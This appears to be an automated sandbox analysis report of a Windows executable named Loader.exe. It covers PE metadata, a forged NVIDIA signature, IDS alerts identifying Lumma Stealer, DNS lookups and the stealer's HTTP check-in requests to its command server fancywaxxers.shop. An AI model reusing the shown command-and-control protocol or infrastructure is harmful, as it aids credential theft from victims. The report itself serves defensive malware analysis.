SSDEEP:	48:EEEUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUl:O
MD5:	AF5A4759082D5DE162C1DDBA2B49BED4
SHA1:	B87A417B2E1EC7C5A6BFC4B21CD29F6A6CF22FB0
SHA-256:	8478F859B96554C624564631794AE2FF91A64F3D354781B171F5139E0702F6D5
SHA-512:	15C6E749259350A8A29F85292D69203C9B0852177F6081FC922F85606C21F5E0C7300E2C563CB4096E5A9FA787CB86A33737FA3632449F9FCA50BAE97931D924
Malicious:	false
Reputation:	low
Preview:	Soon... Soon.....Soon... Soon.....Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon.....2Soon... Soon

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.722799047757642
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Loader.exe
File size:	913'448 bytes
MD5:	005896360be304a48e43d98bda83e12a
SHA1:	305eb0232f73c8902427645b386810ec0efbb182
SHA256:	169e2c86cc3b4953c7a52029f656bdac7fbe5207c7711c7640e312c0d2d62a0b
SHA512:	3fdd2943e3a0a4493421bcc3b591ddd9cad6c3e0239df6a4a1311e4ac41a2a04c534692553a308f0c5897df1b9587ab10388a88a400b6033bcc564c53b5ae89f
SSDEEP:	24576:g5hXYUUk5QcL8q2T7rFVcKcL8q2T7rFVcKNt:g5BYUUkec4qsJVc4qsJVz
TLSH:	DF15F1027681C1B3DC7321B358AAD76A593EE610475269CF47880EBEDFA53C19E31B36
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....og.................&...`.......n............@.......................... ......x'....@.....................................<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x416e80
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x676FE8B9 [Sat Dec 28 12:02:01 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	41ad976bfe47a7c2ff95e863461ff36e

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 00:00:00 16/01/2026 23:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
call 00007FBE3525635Ah
jmp 00007FBE352561BDh
mov ecx, dword ptr [00446C40h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FBE35256356h
test esi, ecx
jne 00007FBE35256378h
call 00007FBE35256381h
mov ecx, eax
cmp ecx, edi
jne 00007FBE35256359h
mov ecx, BB40E64Fh
jmp 00007FBE35256360h
test esi, ecx
jne 00007FBE3525635Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00446C40h], ecx
not ecx
pop edi
mov dword ptr [00446C80h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00441868h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00441824h]
xor dword ptr [ebp-04h], eax
call dword ptr [00441820h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [004418B8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00448318h
call dword ptr [00441890h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x41608	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4a000	0x4cb	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xdca00	0x2628	.bss
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b000	0x2724	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3d300	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x35e38	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x417b4	0x170	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3243a	0x32600	3d568903d800df25407b478aab50e7c2	False	0.4952407723325062	data	6.4159305075437345	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x34000	0x103bc	0x10400	e046b86a8b6c55309652f0a94104f5cf	False	0.4735877403846154	DOS executable (COM)	5.260359318934046	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x45000	0x3ae0	0x2c00	41abedb3cd61d6efee59d0f1e4be6075	False	0.27885298295454547	data	5.101110177853289	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x49000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4a000	0x4cb	0x600	ee43461d834889b465299afba9ae6c0c	False	0.3756510416666667	data	3.140177596477353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4b000	0x2724	0x2800	64004383e008202ce37a7536feb48147	False	0.748046875	data	6.515813867534955	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x4e000	0x49e00	0x49e00	1a8d1a8db5b3ead7b3b3c8c24dd3cefa	False	1.000333782783418	data	7.999356190346704	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x98000	0x49e00	0x49e00	1a8d1a8db5b3ead7b3b3c8c24dd3cefa	False	1.000333782783418	data	7.999356190346704	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x4a0a0	0x3a4	data	English	United States	0.44849785407725323
RT_MANIFEST	0x4a444	0x87	XML 1.0 document, ASCII text	English	United States	0.8222222222222222

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeConsole, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

ADVAPI32.dll

EqualSid

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-29T23:37:01.191785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50006	104.21.80.1	443	TCP
2024-12-29T23:37:01.685688+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50006	104.21.80.1	443	TCP
2024-12-29T23:37:01.685688+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50006	104.21.80.1	443	TCP
2024-12-29T23:37:02.210145+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50007	104.21.80.1	443	TCP
2024-12-29T23:37:03.001796+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50007	104.21.80.1	443	TCP
2024-12-29T23:37:03.001796+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50007	104.21.80.1	443	TCP
2024-12-29T23:37:04.143444+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50011	104.21.80.1	443	TCP
2024-12-29T23:37:05.112215+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50011	104.21.80.1	443	TCP
2024-12-29T23:37:05.699139+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50012	104.21.80.1	443	TCP
2024-12-29T23:37:06.916870+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50013	104.21.80.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 23:37:00.747745037 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:00.747792959 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:00.747872114 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:00.751040936 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:00.751056910 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.191709995 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.191785097 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.195540905 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.195549965 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.195789099 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.247692108 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.258747101 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.258768082 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.258862019 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.685707092 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.685806036 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.685863018 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.693841934 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.693861008 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.693871975 CET	50006	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.693876982 CET	443	50006	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.763164043 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.763192892 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:01.763295889 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.763957024 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:01.763969898 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:02.210011005 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:02.210144997 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:02.212038040 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:02.212053061 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:02.212285995 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:02.213447094 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:02.213471889 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:02.213521957 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001636982 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001694918 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001718998 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001743078 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001765013 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001785994 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.001790047 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001804113 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001813889 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.001843929 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001854897 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.001874924 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001902103 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001919031 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.001933098 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.001946926 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.044576883 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.044589043 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.085930109 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.085967064 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.085990906 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.086013079 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.086023092 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.086056948 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.086103916 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.086255074 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.086484909 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.086502075 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.086514950 CET	50007	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.086524010 CET	443	50007	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.702605963 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.702651978 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:03.702950001 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.703263044 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:03.703278065 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:04.143346071 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:04.143444061 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:04.537707090 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:04.537749052 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:04.538225889 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:04.539697886 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:04.539869070 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:04.539891958 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:04.539989948 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:04.539998055 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:05.112226009 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:05.112361908 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:05.112416029 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:05.112571955 CET	50011	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:05.112593889 CET	443	50011	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:05.262597084 CET	50012	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:05.262655020 CET	443	50012	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:05.262747049 CET	50012	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:05.263053894 CET	50012	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:05.263070107 CET	443	50012	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:05.699054003 CET	443	50012	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:05.699139118 CET	50012	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:05.700438976 CET	50012	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:05.700448036 CET	443	50012	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:05.700826883 CET	443	50012	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:05.702270031 CET	50012	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:05.702398062 CET	50012	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:05.702428102 CET	443	50012	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:06.150734901 CET	443	50012	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:06.150844097 CET	443	50012	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:06.150968075 CET	50012	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:06.151138067 CET	50012	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:06.151163101 CET	443	50012	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:06.483160973 CET	50013	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:06.483177900 CET	443	50013	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:06.483267069 CET	50013	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:06.483612061 CET	50013	443	192.168.2.4	104.21.80.1
Dec 29, 2024 23:37:06.483632088 CET	443	50013	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:06.916812897 CET	443	50013	104.21.80.1	192.168.2.4
Dec 29, 2024 23:37:06.916870117 CET	50013	443	192.168.2.4	104.21.80.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 23:37:00.729943037 CET	57135	53	192.168.2.4	1.1.1.1
Dec 29, 2024 23:37:00.742854118 CET	53	57135	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2024 23:37:00.729943037 CET	192.168.2.4	1.1.1.1	0xe599	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 29, 2024 23:37:00.742854118 CET	1.1.1.1	192.168.2.4	0xe599	No error (0)	fancywaxxers.shop	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:37:00.742854118 CET	1.1.1.1	192.168.2.4	0xe599	No error (0)	fancywaxxers.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:37:00.742854118 CET	1.1.1.1	192.168.2.4	0xe599	No error (0)	fancywaxxers.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:37:00.742854118 CET	1.1.1.1	192.168.2.4	0xe599	No error (0)	fancywaxxers.shop	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:37:00.742854118 CET	1.1.1.1	192.168.2.4	0xe599	No error (0)	fancywaxxers.shop	104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:37:00.742854118 CET	1.1.1.1	192.168.2.4	0xe599	No error (0)	fancywaxxers.shop	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 29, 2024 23:37:00.742854118 CET	1.1.1.1	192.168.2.4	0xe599	No error (0)	fancywaxxers.shop	104.21.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50006	104.21.80.1	443	7888	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:37:01 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-29 22:37:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-29 22:37:01 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vg81o09415qc2sog62tb6rrk0h; expires=Thu, 24 Apr 2025 16:23:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dY1OXRY6zB96WjMCtXJkYUDmfALzTYNtRyEwXdhvrGudoUju9H3xbkLRkxbgngXCDczDVopff6jK37jwIj8t2vnitmQ%2BYfz%2Ffm02QCMvHmAX%2BIUvfvl0LZY9H7cp7WtsTHPkcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d45b32f978c0f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1952&min_rtt=1942&rtt_var=748&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1442687&cwnd=223&unsent_bytes=0&cid=bbf82a1b3b0d70a7&ts=504&x=0"
2024-12-29 22:37:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-29 22:37:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50007	104.21.80.1	443	7888	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:37:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: fancywaxxers.shop
2024-12-29 22:37:02 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 73 74 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=BVnUqo--@youngesstt&j=
2024-12-29 22:37:02 UTC	1127	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pma7rc8637gpr3nd2a057ug8km; expires=Thu, 24 Apr 2025 16:23:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AYOJ7Cfl0KnJDwGnfgz3kEg3QWjrzBboVZ4RuMX6Ko9iCmd3psXSXT2qP9Nmc%2BzR3uTCroUrZcBOoYNunYYW%2FlUqJI78FN1a3mglfMWiQDMaLxnOuzy8UuHrO98StYv5glvY9g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d45b9585943ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1747&min_rtt=1743&rtt_var=663&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1638608&cwnd=230&unsent_bytes=0&cid=c79be099a8d9920c&ts=799&x=0"
